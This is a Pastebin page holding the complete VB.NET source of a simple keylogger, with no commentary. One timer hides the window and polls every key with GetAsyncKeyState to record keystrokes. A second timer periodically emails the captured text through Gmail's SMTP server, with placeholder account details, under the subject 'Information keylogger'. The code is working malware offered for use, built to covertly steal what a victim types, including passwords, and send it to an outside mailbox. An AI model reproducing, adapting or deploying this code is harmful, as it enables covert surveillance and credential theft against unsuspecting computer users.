Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Dim MyMailMessage As New MailMessage
- MyMailMessage.From = New MailAddress("Example@gmail.com") 'You Gmail account
- MyMailMessage.To.Add("Example@gmail.com") 'Here can you type another gmail account what is from you or the same one as the privious
- MyMailMessage.Subject = ("Information keylogger:")
- MyMailMessage.Body = RichTextBox1.Text
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("Example@gmail.com", "Password") 'Gmail account + Password
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- RichTextBox1.Text = ("")
- End Sub
- Dim result As Integer
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Me.Hide()
- Me.Visible = False
- For i = 1 To 255
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- RichTextBox1.Text = RichTextBox1.Text + Chr(i)
- End If
- Next i
- End Sub
- End Class
Add Comment
Please, Sign In to add comment